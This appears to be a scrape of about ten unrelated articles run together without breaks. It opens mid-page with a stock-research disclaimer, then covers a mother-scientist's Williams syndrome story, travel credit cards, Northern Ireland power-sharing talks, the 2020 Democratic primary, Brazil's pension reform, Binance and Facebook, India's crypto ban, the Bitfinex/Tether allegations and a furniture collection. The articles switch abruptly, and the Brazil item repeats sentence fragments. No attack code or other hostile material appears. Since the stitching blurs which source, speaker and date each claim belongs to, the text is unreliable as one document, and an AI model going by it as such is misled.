Construction Design & Development Group? Explore our interactive list of stocks with large growth potential to get an idea of what else is out there you may be missing! We aim to bring you long-term focused research analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. If you spot an error that warrants correction, please contact the editor at editorial-team@simplywallst.com. This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. Simply Wall St has no position in the stocks mentioned. Thank you for reading. author and her son, as an adult I never thought my career path would prepare me this way for motherhood. From early on, I knew I wanted to be a biologist. I quickly discovered that I was most interested in genetics, and in cells and moleculesso I became a molecular and cell biologist, specializing in epigenetics. I followed my interests along the circuitous path that scientific inquiry tends to take, until I found myself studying the role of a gene called BAZ1B, that encodes a very interesting protein called the Williams Syndrome Transcription Factor (WSTF). What is Williams syndrome? I asked myself, and starting reading about it. I learned that Williams syndrome (WS) is a rare genetic syndrome that is present in approximately one in 8,000 births, that it is caused by the loss of 26-28 genes on one copy of the seventh chromosome (leading to its less catchy formal name, 7q11.23 deletion syndrome), that at least 75 percent of children with WS have cardiovascular defects ranging from mild to severe and life-threatening, a host of developmental and health challengesand extremely friendly and outgoing personalities. Related: Why We Need to Re-Think the 'Coffee Cart' for Students With Disabilities Associate professor Jocelyn Krebs with masters student David Robinson, Ph.D. student Shannon Uffenbeck and undergraduate student Shira Wolfe. Instructors in Classroom I read the scientific literature and thought What a fascinating syndrome. Then I found the website of the Williams Syndrome Association (WSA), looking for photos to illustrate the common facial features that are also a hallmark of WS, and thought Wow, those kids are adorable! Then I was off to the lab with my students, studying how WSTF is needed for the early development of the brain and other tissues, how it might contribute to the complex clinical picture of WS. We studied WS for several years and were getting exciting results, but my own time on the research was soon becoming balanced by the time spent with my first son, who was giving me a challenging start to motherhood. Related: The Emotions You Keep to Yourself When Parenting a Child With a Disability Story continues the author and her son, smiling I had Rhys in 2009, and he greeted the world with big surprised blue eyes and nine months of terrible colic. Soon, we were encountering health issues and missed milestones. Eventually, we did genetic testing and were given a diagnosis of WS when Rhys was 19 months old. No, I didnt diagnose himin fact, while I knew something was going on, I eliminated WS as a possibility early on. In my defense (and in defense of the first geneticist to see him, who also missed it), Rhys did not have the classic features of most kids with WS, andluckily!his heart defect is mild enough that it was not recognized earlyso two features most likely to suggest a WS diagnosis were absent. Related: I Will Stay Strong and Fight for My Child's Right to Adequate Special Education But it was WS. A geneticist called me with the results and got as far as We found a deletion on chromosome 7, when I interrupted with Are you kidding? Its Williams? She was surprised that I knew what she was going to say, but that was nothing compared to my shock. The coincidence was mind-boggling. I entered into the WS community with the unusual perspective of a deep understanding of the genetic basis of WS, of the current researchbut new to the world of early intervention, IEPs, speech therapy, occupational therapy, etc. And thus I found myself back on the WSA webpage, now as a parent, trying to understand the new circuitous path I would be following with Rhys. Every two years, the WSA hosts a professional conference for researchers who study WS, linked to a family convention that brings together individuals with WS and their families for education, support and social connections. At the WSA convention in Boston in 2012, I gave a talk on my research for the WS professional conference, then attended the convention with my familyand it was life-changing. Ill never forget my first time seeing so many individuals of all ages with WS, so many different life pathsand the feelings of connectedness and shared experience. While having a child with WS gives me plenty to worry abouta heart defect that can worsen with time, an increased risk of life-threatening complications from anesthesia, anxiety, learning challengesstanding in a group of individuals with WS is like being in a cloud of joy that makes all the worries easier to bear. Rhys and his little brother will follow their own winding paths, and I cant wait to see who they each become and what they choose to do. Im sure theyll have plenty of surprises for mebut theyll be hard-pressed to top that first big one. author and her son, as an adult Read more stories like this on The Mighty: When You Have to Fight for Your Child to Get the Disability Services They Need in School 11 Ways Teachers Can Help My Daughter With Williams Syndrome Shes 28, Lives With Williams Syndrome and Has Her Own Successful Business How to Find the Best Travel Rewards Credit Card Traveling can be expensive. After factoring in taxes, fees and accommodation costs, you might resign yourself to taking a staycation. Using a travel rewards credit card can make affordable trips possible, but deciphering the differences between them can be confusing. Learn more about the best travel rewards credit cards -- so your everyday spending can help you book a trip to a tropical paradise. 1. The types of travel rewards cards Theethawat Bootmata / Shutterstock There are several basic types of rewards you can earn from travel reward credit cards. There are many basic types of travel reward credit cards: Transferable points Fixed-value point systems Points that are redeemable for airline miles Points that are redeemable for hotel stays Cards with luxury perks Travel rewards credit cards for businesses Transferable points If travel flexibility is important, you might want a card that allows you to transfer your points. With these, points can be cashed in with dozens of airlines or hotels. Its best to wait to transfer your points until youre ready to book your trip. For example, the Chase Sapphire Preferred Card earns Chase Ultimate Rewards points, which can be transferred to several airline and hotel loyalty programs. You can earn: 1 point for every $1 spent. 2 points for travel and restaurant dining purchases. This card offers some of the most flexible ways to spend points. Fixed-value travel rewards credit cards A fixed-value rewards card can give you peace of mind when spending on miscellaneous travel expenses. With these, any expenditure that counts as travel can be redeemed with points, including Airbnb stays and flights that you cant redeem miles for. People looking for simplicity might consider the Barclaycard Arrival Plus World Elite Mastercard. Its simple to use because the rates are easy to remember. Cardholders get double miles for every $1 spent on any purchase in any category. Credit cards for airline miles If youre interested in the best credit card for airline miles and dont need to earn points for other travel expenses, consider choosing a card that gives you airline-specific points. This is helpful if you usually use the same airline for travel. Story continues You may not want to choose this option if the airline doesnt fly out of a nearby airport. Youll be more likely to use these points if its convenient to redeem them. Southwest Rapid Rewards Priority Credit Card is an example of a card offering plenty of perks for frequent flyers. Cardholders earn: 2 points points per $1 spent on purchases through Southwest and its Rapid Rewards hotel and car rental partners. 1 point per $1 spent on all other purchases. Hotel rewards credit cards Some of the best hotel rewards credit cards let you redeem points for hotel stays. They also provide bonus points for booking hotels. These can go a long way toward free accommodations if you stay in hotels frequently. But you have to think about the hotel chain that you prefer to use to get the most out of your card. Others are flexible, earning points for all categories of purchases. The two cards featured below also waive international transaction fees. The Hilton Honors American Express Ascend Card earns Hilton Honors points, which can be redeemed at Hilton hotels around the world. Cardholders receive points for any purchase. Theyll get: 12 points per $1 spent at participating Hilton properties. 6 points per $1 spent on certain categories, such as restaurants in the U.S. 3 point per $1 on everything else. Even though this card is geared towards hotel stays, it can get you 10 airport lounge visits per year. For travelers who frequent Marriott properties, the Marriott Bonvoy Boundless Credit Card may be preferable. Guests can use their points at more than 6,700 Marriott and partner properties worldwide. That includes some beautiful Ritz-Carlton properties. Travelers earn: up to 6 points for every $1 spent at Marriot Bonvoy hotels. 2 point per $1 on all other purchases. Premium travel rewards credit cards If having a luxurious travel experience is important to you, look for a card with premium rewards and perks that will allow you to vacation like a millionaire. Many of these offer concierge services or fee credits for airport lounges and upgrades. The other elite travel benefits are extraordinary. This is the card to choose if youre happy to pay for flights and accommodations but enjoy getting additional privileges for free. The Platinum Card from American Express gives you luxury perks that offset the card costs, including: Uber credits Airline fee credits Reimbursement for Global Entry or TSA Pre-Check applications International and domestic airport lounge access Room upgrades Hotel credits to spend on dining, spa or other activities The Mastercard Black Card comes with similar luxury perks and has a comparable annual fee. Besides airline and hotel credits, cardholders are eligible for: VIP airport lounge access Personal chauffeurs Global luggage delivery services Private jet charters 24/7 access to Luxury Card Concierge Travel rewards credit card for business Business travelers may have unique needs. For example, they may need to use in-flight Wi-Fi or airport lounges. Plus, they probably fly more often than some other travelers. The best travel rewards credit card for businesses takes these requirements into account. Cards that cater to these needs can help them save money and work efficiently even when theyre away from home. Small businesses may choose these cards so that their employees can contribute to travel costs by using their points. The Chase Ink Business Preferred Credit Card, like the Sapphire Preferred Card, offers excellent overall flexibility for businesses. Businesses can actually earn a 25% point value increase when redeeming for travel specifically. The card allows you to: Earn 3 points per dollar on travel and select business categories Earn 1 point per dollar on everything else. 2. Understand your needs Maridav / Shutterstock Make sure to examine your travel habits. International travelers may see more benefits from a Chase Sapphire Preferred Card than a specific airline's card. No travel reward credit card is perfect for everyone. To find the best travel rewards credit card for you, take into account the type of traveling that you do. Some questions to ask when youre considering the type of card to apply for include: How do I travel? Frequent air travelers who are loyal to one airline will benefit from airline rewards cards. You can often earn points for buying tickets on that airline and redeem them for travel with the same company, compensating you for your loyalty. People who take vacations often can also look for cards that reward them for travel-specific expenses. It's nice to know that you're earning your next vacation while you're sipping a margarita on a beach somewhere. What do I regularly spend money on? Some cards reward you for buying anything, and others only give you points for purchases in certain categories. Busy parents may earn significant rewards using a card that offers extra points for gas and grocery purchases. If youre always spending money on hotel stays, go for a card that gives you points for those purchases. Do I want to cover basic travel expenses or extras? Many travel credit cards offset the high price of airplane tickets or hotel accommodations. But the elite cards simply give you upgrades. If you can afford to take a vacation but want to travel like a king or queen, a luxury card will suit you well. If you just want to be able to take a vacation in the first place, a card that rewards you with miles or transferable points for everyday purchases is the way to go. 3. Compare rewards and terms Jacob Lund / Shutterstock A great perk with premium travel cards? Access to premium airport lounges. Some cards have steep annual fees. Others have conditions that affect your earnings. For example, some cards require you to activate bonus rewards in certain categories. When it comes to comparing the rewards, you might have to crunch some numbers to determine whether youll actually save money after paying the fee. Make sure that you read the fine print so that you know the hidden perks as well as the downsides of the cards that you choose. Some cards give you more points for booking travel through their portal. You may also save on travel expenses or get free upgrades when you use a certain card on your trips. For example, the Chase Sapphire Reserve and Preferred cards are similar. Both allow you to transfer your points, but the Sapphire Reserve has additional perks. It offers: 3 points instead of 2 for every $1 spent on travel and restaurant dining. A $300 statement credit on travel purchases once a year. Access to select airport lounges. Trip delay insurance. Elite benefits with some rental car companies. The annual fee of $450 is a lot steeper than the Sapphire Preferreds $95 fee. However, if youll take advantage of the features and spend generously on restaurants and vacations, it might be worth it to choose the card with the higher fee. Many cards waive the annual fee for the first year. Others reimburse you for Global Entry or TSA Pre-Check application fees. 4. Check for sign-up bonuses Aureliy / Shutterstock Some cards award substantial sign-up bonuses, and you could end up with enough points for business class in a very short time! After youve compared everything else, look at the sign-up bonuses. These often give you almost immediate gratification. For example, new Chase Sapphire Preferred cardholders get 60,000 bonus points after spending $4,000 on purchases in the first three months after opening an account. Those points are worth $750 when theyre redeemed through Chase Ultimate Rewards. Sapphire Reserve cardholders get only 50,000 bonus points for spending the same amount of money. Southwest has an excellent sign-up bonus. Youll get 40,000 points after spending only $1,000 in the first three months, which immediately qualifies you for a domestic flight. 5. Give your application the best shot jason cox / Shutterstock You typically require good to excellent credit to qualify for the best travel rewards cards. Don't be discouraged if you don't get it right away. Depending on your travel needs, you may want to apply for two or three cards and rack up points on all of them. But be careful when applying for several cards at once. The travel credit cards with the best perks often require you to have excellent credit. If your application is not accepted, you may only have a few more chances to apply for other cards before youre penalized for making too many credit requests. Give yourself the best chance for success the first time that you apply. Have your frequent flyer number handy, be ready to declare your income, fill out the application and hope for the best. When you decide on the best travel rewards credit card, use it for as many qualifying purchases as possible. You dont have to spend more than your budget allows for, but you should use the card as your primary payment method. Pay it off every month so that the interest fees dont counteract the rewards that can launch you on your next adventure. Belfast (AFP) - Britain and Ireland on Friday announced new talks to revive Northern Ireland's devolved power-sharing institutions on May 7, with the killing of a journalist by republican paramilitaries putting new impetus for a breakthrough. Northern Ireland, part of the United Kingdom, has been without its semi-autonomous government since January 2017 following a breakdown in trust between its main parties. In a rare joint statement, politicians from Northern Ireland's six biggest parties united to condemn the killing of 29-year-old Lyra McKee, shot dead on April 18 while reporting on riots in the second city of Londonderry, also known as Derry. Her death has triggered a renewed attempt to mend fences between the main parties representing the British unionist and Irish nationalist communities. - 'Unmistakable message' - British Prime Minister Theresa May and her Irish counterpart Leo Varadkar announced Friday's development saying their attendance at McKee's funeral this week "gave expression to the clear will and determination of all the people of these islands to reject violence". "We also heard the unmistakable message to all political leaders that people across Northern Ireland want to see a new momentum for political progress," the premiers said in a statement. "We have agreed to establish a new process of political talks," they said. Irish Foreign Minister Simon Coveney and Britain's Northern Ireland Secretary Karen Bradley later held a press conference in Belfast at which they announced the May 7 date for the resumption of talks. "Lyra symbolised the new Northern Ireland and her tragic death cannot be in vain," Bradley said. The New IRA (Irish Republican Army) paramilitary splinter group, which violently opposes the peace process in Northern Ireland, admitted responsibility for McKee's killing, saying she was unintentionally shot as they attacked "enemy" police officers. Story continues At her funeral on Wednesday, Father Martin Magill commended Northern Ireland's political leaders for joining together at her funeral, but asked, to a standing ovation: "Why in God's name does it take the death of a 29-year-old woman with her whole life in front of her to get us to this point?'" - Talks impasse - The two largest parties, the pro-British Democratic Unionists (DUP) and Irish republican Sinn Fein, are at loggerheads over several issues. The largest parties from each side are supposed to govern together under a power-sharing accord reached in 1998 to end three decades of violent conflict. Sinn Fein brought down the executive in January 2017, citing a breakdown in trust. Both blame the other for the paralysis and several exhaustive rounds of talks have floundered, with deadlines coming and going. In the absence of an executive, the province has been run by civil servants. DUP leader Arlene Foster has suggested a twin-track approach whereby the devolved institutions are restored quickly to deal with issues like schools and the health service, while a separate process addresses the sticking points that the parties cannot agree on. Michelle O'Neill, Sinn Fein's leader in Northern Ireland, has rejected the plan, saying its demands including allowing same-sex marriage and official recognition of the Irish language had to be delivered. NEW YORK (AP) As she campaigned through Iowa this week, Sen. Elizabeth Warren of Massachusetts didn't hesitate to jab the newest contender in the 2020 Democratic presidential primary: Joe Biden. "Our disagreement is a matter of public record," Warren said, referring to Biden's past support of a massive bankruptcy overhaul. "Joe Biden was on the side of the credit card companies." The early days of the 2020 Democratic primary have been defined by order, amicable disagreement and an overwhelming focus on defeating President Donald Trump. No more. Biden's campaign launch on Thursday ushered in a new phase in the nominating contest. With the field largely set, the leading candidates have begun to turn on one another, raising the prospect of an ugly fight for the future of the party that could have lasting consequences for Democrats' quest to reclaim the White House. Progressive groups aligned with Warren and Sen. Bernie Sanders of Vermont took aim at Biden, portraying him as out of step with today's Democratic Party. They railed against his connections to big corporations, his past support for a "grand bargain" that would have cut Social Security and Medicare, and his support for a 1994 crime bill that disproportionately hurt minorities. "For numerous reasons, Joe Biden is the least electable Democrat that we could possibly nominate," said Adam Green, co-founder of the liberal group known as the Progressive Change Campaign Committee, which has long supported Warren's presidential ambitions. "We're in a new moment. This is not Joe Biden's moment." Sanders' campaign manager slapped at the former vice president in a fundraising message titled "Joe Biden." "Not only are we taking on a political and corporate establishment that will do and spend whatever it takes to stop us, but we are running against a record number of candidates at the same time," Faiz Shakir wrote. He added: "There are a lot of candidates in this race right now. But there is only one Bernie Sanders." Story continues Biden's campaign said Friday it raised $6.3 million in the first 24 hours since announcing, narrowly besting Sanders' first-day haul. Desperate to deny Trump a second term, Democrats can ill afford any lasting divisions that could depress turnout come November 2020. The early infighting has already caught the attention of party leaders like Democratic National Committee member Robert Zimmerman, of New York, who helped raise money for former President Barack Obama and Biden in years past. "The No. 1 issue that I've seen across the country is Democrats staying focused on beating Donald Trump. I demand that Democrats remain positive with each other," Zimmerman said. "Any Democrat who tries to build their message by maligning or attacking personally their opponent is going to disqualify themselves." Yet the battle lines are quickly hardening. With emboldened liberals on one side, pro-Biden establishment leaders in Congress and labor unions are lining up on the other. Biden, who served in the Senate for nearly four decades, won immediate endorsements from Sen. Bob Casey of Pennsylvania, Sen. Chris Coons of Delaware and Sen. Doug Jones of Alabama, while Sen. Dianne Feinstein of California had already declared her support. None of the other 2020 contenders has the endorsement of more than one U.S. senator. The largest firefighters union in the country, the International Association of Firefighters, was also preparing to endorse Biden. Group leaders have said they would be "investing" heavily in his campaign. Biden himself took an indirect swipe at his Democratic competitors earlier in the month as he defended his liberal bona fides: "The definition of 'progressive' now seems to be changing. And that is, Are you a socialist?'" he said. Sanders, who is Biden's closest competitor in recent polls, describes himself as a democratic socialist. The establishment support lining up behind Biden could embolden his critics on the left. Prominent black Democrats seized on the 1994 crime bill, which Biden helped craft and is now blamed for creating an environment of mass incarceration that disproportionately hurt people of color. "So @JoeBiden you were the author of the 94 Crime Bill, it's champion, and #1 cheerleader," tweeted Bakari Sellers, a former South Carolina state Democratic elected official and prominent African American voice on television. "This bill has led to mass incarceration and specifically targeted black and brown people. What are your plans to unravel the damage you helped to cause?" Of course, there's time for Biden to win over the critics. Primary voting begins in roughly nine months, and the general election isn't until November 2020. Some of Biden's liberal attackers indicated they would support him over Trump should Biden win the nomination. In a nod to his opponents, he also hired former Sanders' aide, Symone Sanders, to serve as a senior campaign strategist. Biden and his wife "are a class act," tweeted Symone Sanders, who isn't related to Bernie Sanders. "Over the course of this campaign, Vice President Biden is going to make his case to the American (people). He won't always be perfect, but I believe he will get it right." ___ Associated Press writer Alexandra Jaffe in Des Moines, Iowa, contributed to this report. On 24 April, Brazils President Jair Bolsonaro thanked members of the federal chamber of deputies constitution and justice committee (CCJ) for approving the constitutionality of the pension reform proposal and highlighted the importance of a swift approval of the reform. Analysis: With the pension reform having cleared the first hurdle in the CCJ on 23 April, a development which has been framed as a win for both the government and the chamber of deputies, its defenders are keen to keep the momentum going and push it through the next stages as swiftly as possible. In a radio and televised address yesterday, Bolsonaro singled out Democratas (Dem) deputy Rodrigo Maia , the president of the chamber of deputies, for praise in working to get the pension reform through the CCJ. The proposal now goes to the special committee. The government continues to count on the patriotic spirit of congress members, for the approval of the pension reform, Bolsonaro said. , the president of the chamber of deputies, for praise in working to get the pension reform through the CCJ. The proposal now goes to the special committee. The government continues to count on the patriotic spirit of congress members, for the approval of the pension reform, Bolsonaro said. Maia, who has had run-ins with the government over its efforts (or lack thereof) to build support in congress, emphasised that the CCJs approval of the reform was a victory for the legislature and a reflection of the positive dialogue with the executive. The governments participation was fundamental, the participation of minister [chief-of-staff] Onyx [Lorenzoni] was decisive, as was the participation of each leader of parties which voted in favour, with the understanding that this is a fundamental matter, Maia said. was decisive, as was the participation of each leader of parties which voted in favour, with the understanding that this is a fundamental matter, Maia said. Both Bolsonaro and Maia stressed the importance of the pension reform in helping reduce unemployment, stimulate economic growth, and tackle inequality in the country. Opponents of the governments proposed reform argue that it will hurt the poor the most. As part of its new strategy to guarantee support for the reform in congress, the government has reportedly said that it will allocate more budgetary resources to deputies who vote in favour of the pension reform (all members of congress have a say in the allocation of federal budget resources to the state that they represent, but the amount of resources and the timing of their allocation have in the past been used by the executive to ensure congressional support). Maia has assured that implementing the budget is a normal practice, after this report raised questions as to Bolsonaros embracing of the old politics he has often criticised. Looking Ahead: Maia has confirmed that the special parliamentary committee that will analyse the pension reform will be set up today (25 April), made up of 49 deputies representing all the party benches, although its agenda is not expected to be outlined until 6 May (after the May Day public holiday). Mark Zuckerberg, as Facebook CEO, testifies before a joint hearing of US Commerce and Judiciary Committees, Washington, DC. Photo: AP Wei Zhou, the CFO of Binance, one of the worlds biggest cryptocurrency exchanges, isnt excited about Facebooks closely watched blockchain experiments. I suspect its going to be a closed Facebook ecosystem, Zhou told Yahoo Finance UK. Their goal is to wall off other people from coming into their system, their goal is not to open up their system to other people. Facebook publicly announced in March it had formed a blockchain research group with over 60 staff working on the technology. What exactly theyre up to is a closely guarded secret, but there is speculation the social media giant could launch its own cryptocurrency. Whatever Facebooks plan, Zhou is sceptical as long as CEO Mark Zuckerberg is at the helm. One of the key things that weve seen is that the blowback against Facebook is its not a community driven organisation, he said. Key decisions are made by one person. The thesis behind [crypto] tokens in general, the blockchain in general its an open system where anyone can use it if they spend the time to adopt the technology. READ MORE: Crypto price crash actually good for business, say entrepreneurs Zhou sat down with Yahoo Finance UK at the Paris Blockchain Week summit to talk about Facebook, Binances growth plans, the crypto bear market, and why he thinks almost all big corporations will have some form of token in the future. His comments are significant given that Zhou sits atop one of the most successful global tech startups that has emerged in recent years crypto or otherwise. Its about increasing more access points The Binance logo is seen at the Delta Summit, Malta's official Blockchain and Digital Innovation event promoting cryptocurrency, in St Julian's, Malta. REUTERS/Darrin Zammit Lupi Binance was only founded in 2017, but it has quickly grown to be one of the worlds biggest cryptocurrency exchanges. The private company had estimated profits of close to $500m last year despite a collapse in crypto prices and trading volumes. It remains profitable even with the continued downturn estimated quarterly profits were around $90m in the first quarter of 2019. Zhou said he believes that Binances continued success means the company has a duty to help grow the sector as a whole. Story continues Our priority at the moment is basically how to help the ecosystem to grow: How do we grow the blockchain and cryptocurrency ecosystem, he said. Alongside operating Binances core exchange, which trades around $1bn daily, the company has recently invested in an Australian startup bringing bitcoin to travel, launched a Jersey-based subsidiary where people can buy bitcoin with British pounds or euros, and launched Binance Lite in Australia, which lets people buy bitcoin from local convenience stores. READ MORE: Supercar rallies and nurseries on the blockchain: Remnants of crypto boom remain despite bear market Its about increasing more access points, Zhou said. A lot of people say it, but you dont know [about crypto] until youve done it and once you experience that freedom then I think more adoption will come. The company has also debuted Launchpad, a crypto crowdfunding platform based on the Binance exchange, and made a seed investment into a Malta-based bank that will accept crypto customers. One of the biggest barriers crypto startups face is traditional banks wont touch them. We believe in blockchain as a whole and for that you need an ecosystem, he said. And for that you need a bank that will work with our industry. Its taken a lot of the fluff out Binance CEO Changpeng Zhao speaks at the Delta Summit, Malta's official Blockchain and Digital Innovation event promoting cryptocurrency, in St Julian's, Malta. Photo: REUTERS/Darrin Zammit Lupi The industry is currently in the depths of what insiders have dubbed the crypto winter. Bitcoin, the bellwether of the market, has recently shown some signs of revived interest, but still remains well below its 2018 high of close to $20,000. Trading activity also remains depressed. I dont think it has changed much in terms of how we operate, Zhou said. We have actually become more focused on the projects that were doing. He said the crash is actually good for the market as its taken a lot of the fluff, the bubble, out of the marketplace so that people who remain continue to build and deliver quality services and will survive. This view was echoed by others at the conference who said the crypto winter was actually good for business. Still, Zhou ultimately hopes for a revival in interest and activity. He said a lack of certainty from global regulators has contributed to the decline. Clear regulation was one reason why Binance relocated its headquarters from Hong Kong to the small island of Malta. (That, and a crackdown on crypto exchanges by China.) We see Malta as a place that has a really talented workforce, Zhou said. Theyve been able to embrace risk and make it compliant. We are not stakeholders anymore Talk of regulation brings the conversation back to Facebook. The technology of this industry will always run ahead of regulation as weve seen with the internet across the board: e-commerce, ride share, hotel share, social media, Zhou said. Now regulation is catching up with social media as well, because those things have more ramifications on real lives and democracy and freedom than our industry to be quite honest. Zhou was Zuckerbergs contemporary at Harvard University and estimates that he was among the first 2,000 people to sign up to the service that became Facebook when it was initially set up as a college networking website in 2004. Im as much a part of that community and helped to contribute to that success as the shareholders that put money in it, as the engineers who worked on it none of those people get representation, Zhou said. Thats why people are leaving. Were not stakeholders in that business anymore. READ MORE: France pushes to become global hub for blockchain the tech behind bitcoin Zhou thinks blockchain and cryptocurrencies could help solve these issues by creating more decentralized systems that reward users rather than just owners. One of the projects we invested in is basically how do we compensate content creators through the token economics? he said. As a viewer, as a creator, YouTube is taking all my money, Instagram is taking all my money. As an influencer I have to go hustle shaving cream or sweatshirts to make money because Instagram is making all that money and theyre not giving me a dime. How do you balance that out? I think token is a good way to start. He doesnt expect to see this type of innovation to come from Facebook. I dont think its going to come from Facebook because I dont think its in Zuckerbergs DNA to let go, he said. The mindset is very clear from day one if youve read the book, watched the movie, see what he does. Even the way he lives before he moved into the neighbourhood he bought every house in that neighbourhood. But Zhou does expect to see other companies embrace crypto. Youre going to have a lot more tokens in the world, he said. I think all consumer facing companies are to a certain extend going to have their own token. Carrefour has put chicken and potatoes on the blockchain now. Its real. Indian lawmakers do not understand bitcoin. So, they're working on banning it. | Source: Shutterstock By CCN.com: The Indian government is working on a draft bill that would impose an outright ban on cryptocurrencies such as bitcoin, as reported by The Economic Times, in what would be the final blow to the future of crypto in the country. The government is all set to ban cryptocurrencies The publication reports that a draft of the Banning of Cryptocurrencies and Regulation of Official Digital Currencies Bill 2019 is currently bouncing between different government departments, all of whom are toeing the governments line. The Banning of Cryptocurrencies and Regulation of Official Digital Currencies Bill 2019 draft has been circulated to relevant government departments, a government official aware of details told ET. Indias Department of Economic Affairs, the taxation board, and the Investor Education and Protection Fund Authority think that the sale, purchase and issuance of all types of cryptocurrency should be banned entirely, according to anonymous government sources. The Indian government had created a panel chaired by the finance secretary last year for drafting cryptocurrency regulations. The latest reports indicate that the panel is hell-bent on killing cryptocurrencies in India. This looks like a real possibility right now as the bill could be drafted into law once the ongoing general elections in India are over. Indian regulators consistently fail to understand cryptocurrencies The Indian government has always tried to throttle the growth of cryptocurrency under the false belief that the likes of bitcoin are instruments meant for laundering money. Also, the rapid rise in the price of bitcoin has led regulators in India to believe that cryptocurrencies are nothing more than get-rich-quick schemes for defrauding gullible investors. The Economic Times report says: Read the full story on CCN.com. The cryptocurrency markets buckled on Thursday evening after New Yorks attorney general accused the owners of a prominent exchange, Bitfinex, of using illicit transactions to mask $850 million in missing funds. According to a 23-page legal filing, Bitfinex raided the reserves of a so-called stablecoin called Tethera digital currency purportedly backed one-to-one by U.S. dollarsin order to pay out customers demanding withdrawals from the exchange. The news caused Bitcoin to fall nearly 6% to around $5,100, and raises questions about the viability of Tether, which many investors use as a surrogate for dollars to move in and out of different cryptocurrencies. The attorney generals filing says the funds raided from Tether amount to $850 million. According to Chad Cascarilla, who is head of a company called Paxos that makes a rival stablecoin, that figure would account for at least 27% of Tethers dollar reserves. Instead of U.S. dollars, the $850 million is instead backed by a revolving line of credit from the exchange Bitfinex. But as Thursdays filing explains, Bitfinex appears to have borrowed that amount in order to cover a shortfall of its own. The filing also reproduces messages written by a Bitfinex executive last August, which plead for capital from a Panamanian payment processor to which it had transferred funds. The situation looks bad. We have more than 500 withdrawals pending and they keep coming in [T]oo much money is parked with you and we are currently walking on a very thin crust of ice, reads a message from a Bitfinex executive who used the name Merlin. Merlin also warns his contact, Oz, that the situation posed a grave threat to the larger crypto industry and that Bitcoin could tank to below $1,000 if they didnt act quickly. The exact identity of the Panamanian payment processor, Crypto Capital, is unclear. According to the attorney general, Bitfinex, which is incorporated in the British Virgin Islands, relied on a shadowy network of money agents, including human being friends of Bitfinex employees that were willing to use their bank accounts to transfer money to Bitfinex clients. Story continues Bitfinex did not immediately respond to a request for comment about the allegations. The filing also states that Bitfinexs banking arrangements became severely strained in March 2017 after Wells Fargo told the company it would no longer facilitate wire transfers between Bitfinex and Tether. Bitfinexs operations, including its connections to Tether, have long been a subject of rumor and controversy. While the executives have claimed the two entities operated at arms length, the attorney general challenges this claim, and points out that the same individuals appear to control both of them. In its filing, the attorney general describes an investigation that has been underway for months, and seeks numerous documents to learn whether New York investors are being exposed to ongoing fraud from Bitfinex and Tether. The attorney generals operation is civil in nature but, as the office regularly cooperates with the FBI and other federal agencies, it is possibleif the facts alleged are truethat criminal charges could be forthcoming. Meanwhile, law enforcement appears to scrutinizing stablecoins more closely. According to research firm Chainalysis, the company recently responded to police requests by adding tracking software for four stablecoins, including Tether. The fallout for investors from all this remains to be seen. Cascarilla, of Paxos, noted that most of those exposed to Tether are in Asia, and added that a crisis in confidence in the currency could result in short-term liquidity problems in the cryptocurrency markets. He also said the episode points to the need for crypto investors to rely on exchanges and stablecoins that comply with U.S. regulations. Update: Trade publication The Block reported on Friday morning that $185 million worth of cryptocurrency has been withdrawn from Bitfinexs cold wallets, which are the crypto equivalent of storage vaults. Its unclear if the withdrawals represent customers pulling their money from Bitfinex or if they are internal corporate transfers. The CFO of Bitfinex assured key shareholders that the $851 million in missing funds revealed by the NYSAG lawsuit are in fact safe and will be accessible in a few weeks, per reporting by CoinDesk, which spoke with large Bitfinex shareholder Zhao Dong. According to Dong, Bitfinex CFO Giancarlo Devasini personally assured him that the exchange only needs a few weeks to unfreeze the funds. Earlier today Bitfinex issued an official response saying the court filings were written in bad faith and are riddled with false assertions. The company further denied the loss of $851 million from Crypto Capital and instead claimed the funds have been seized and safeguarded. Another shareholder, Tian Jia, told CoinDesk that the exchange's executives have continued to communicate with shareholders, noting that they are working on resolving the issue. Because it is customers money, its not stolen cryptocurrency, its fiat. It cant be stolen. Its only frozen by the [regulators], and [Bitfinex is] trying to get it back by approaching Panama and the [U.S. Attorney General.] They have been communicating all along," Jia told CoinDesk. Details from the suit paint a very different picture, with Bitfinex and Tether engaging in undisclosed, conflicted transactions to cover Bitfinexs losses by transferring money out of tether reserve funds. According to the Attorney Generals office (OAG) at least $700 million was drained from Tethers reserves to cover the funds that went missing. Organic forms have provided endless fodder for designers work. But when it came to her latest collection, Sydney-based designer Blainey North looked to an opposing source: the hard lines and frenetic rhythms of modern urban life. I love the citystrangely, its the place my body feels most comfortable, she tells AD PRO. Ive been interested in why that is; this collection is about exploring the combination of movement and the repetitive mechanics of a city. Thus, the new collection, which recently launched on 1stdibs, is aptly titled "Man and the Machine." Broken into three categoriesSuspension, Chasm, and Strobethe line focuses primarily on materials that evoke a powerful sense of human industry and urban glamour: metal, glass, leather rope, and fabric-like carbon fiber. Surfaces are highly reflective or deeply luxe; lines are repetitive and edges crisp. It is a palette which feels of the city to me, where the leather rope and carbon [fiber] represent the human movements through the metal and glass, she says. Photo: Studio FF / Courtesy of Blainey North That sense of movement is an integral part of the collection, one that manifests in Norths manipulation of light. The beveled glass edges and alternating glass rods of the table lamps, wall sconces, and chandeliers in the Chasm series are encased in clear crystal so that, when lit, a prism effect is cast against walls, ceilings, and floors. What's more, the terraced metal bases and stepped metal frames of each fixture evoke the silhouettes of gleaming Art Deco skyscrapers against the evening sky. In coffee tables and side tables, that same reflective sense is present in the precise architectural zigzag of alternating lines whose high-shine, champagne-gold finishes glimmer. It felt important to me that each of the pieces was like the city, that they had a different life and character in the night, says North. When a light hits each piece, it creates a set of unexpected reflections on the space around it. It gives the room its in a unique, otherworldly character. Story continues Phtoo: Studio FF / Courtesy of Blainey North And truly, each piece does seem to possess a life of its ownan energy that comes not just from the way light interacts with each negative space or gleaming surface, but also from the attention a person might pay to its designated place. Within the Strobe series, theres the nostalgic sense that the pieces have been fashioned from industrial-era factory machinery and recast in the halcyon glow of Hollywood Regency glass and chrome. It feels strangely like something youve seen before, like a bank vault or a piece of machinery, yet at the same time it presents as something unexpectedly new, North says of the Strobe Coffee Table. When you walk past the table, your reflection in the mirrored stainless steel rods reminds you of a whirling reflection of yourself driving through the city. I also love it in the night, as the light can shine both through the table to form a striped shadow on the floor and then onto the wall, creating a dramatic, fan-like shadow. Photo: Studio FF / Courtesy of Blainey North But for all its fast-paced connotations and cosmopolitan sensibilities, Norths collection certainly feels more classic than merely flash-in-the-pan. 